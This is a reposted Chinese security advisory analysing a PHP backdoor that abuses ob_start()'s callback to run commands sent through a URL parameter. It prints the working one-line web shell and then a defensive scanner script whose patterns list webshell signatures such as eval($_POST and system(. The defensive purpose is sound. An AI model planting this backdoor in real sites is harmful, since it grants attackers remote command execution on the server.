网站安全分析:PHP ob_start函数后门分析报告
2019-03-27 08:53:15来源: 站长之家 阅读 ()
站长之家(chinaz.com)9月12日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。
我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。
PHP 手册中关于ob_start()函数回调机制的相关说明:
Ob_start()函数后门代码如下:
<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>
后门利用效果如下图:
针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。
为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:
#!/usr/bin/php -q
<?php#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval\(\\$\_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval\(base64 匹配经过base64编码后的后门
#eval\(gzuncompress 匹配经过gzip压缩过的后门
#\`*\` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) > result.log
程序的分析结果将保存在当前目录下的result.log文件中
set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir->read()){
if((is_dir("$directory/$file"))&&($file!=".")&&($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." && $file != ".."&&eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, 4096)) {
$i++; if((eregi("eval\(\\$\_POST",$buffer))||(eregi("system\(",$buffer))||(eregi("exec\(",$buffer))||(eregi("shell_exec\(",$buffer))||(eregi("popen\(",$buffer))||(eregi("phpinfo\(",$buffer))||(eregi("passthru\(",$buffer))||(eregi("proc_open\(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval\(base64",$buffer))||(eregi("eval\(gzuncompress",$buffer))||(eregi("preg_replace\(\/^\/e,\$",$buffer))||(eregi("preg_replace\(\"\/\^\/e",$buffer))||(eregi("assert\(",$buffer))||(eregi("ob_start\(",$buffer))||(eregi("error_log\(",$buffer))||(eregi("dl\(",$buffer))){
all();
echo "可疑文件路径:".$fd."\r\nLine".$i.":".$buffer."\r\n\r\n";
}
}
fclose($fp);
}
}
}
$mydir->close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}find($argv[1]);
?>
使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识&技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。
注明:本安全报告来自日志宝,官方网站www.rizhibao.com
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
上一篇:织梦CMS网站顶部添加横向登录框
- 运营都会写分析报告了!数据分析该怎么办? 2021-05-07
- 探索|微信读书运营策略分析 2021-03-16
- 运营武馆:巧用运营漏斗分析模型,让领导对你刮目相看 2020-06-15
- 互联网产品运营基础_网站常见盈利模式(上) 2020-03-30
- 互联网产品运营基础_网站常见盈利模式(上) 2020-03-27
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash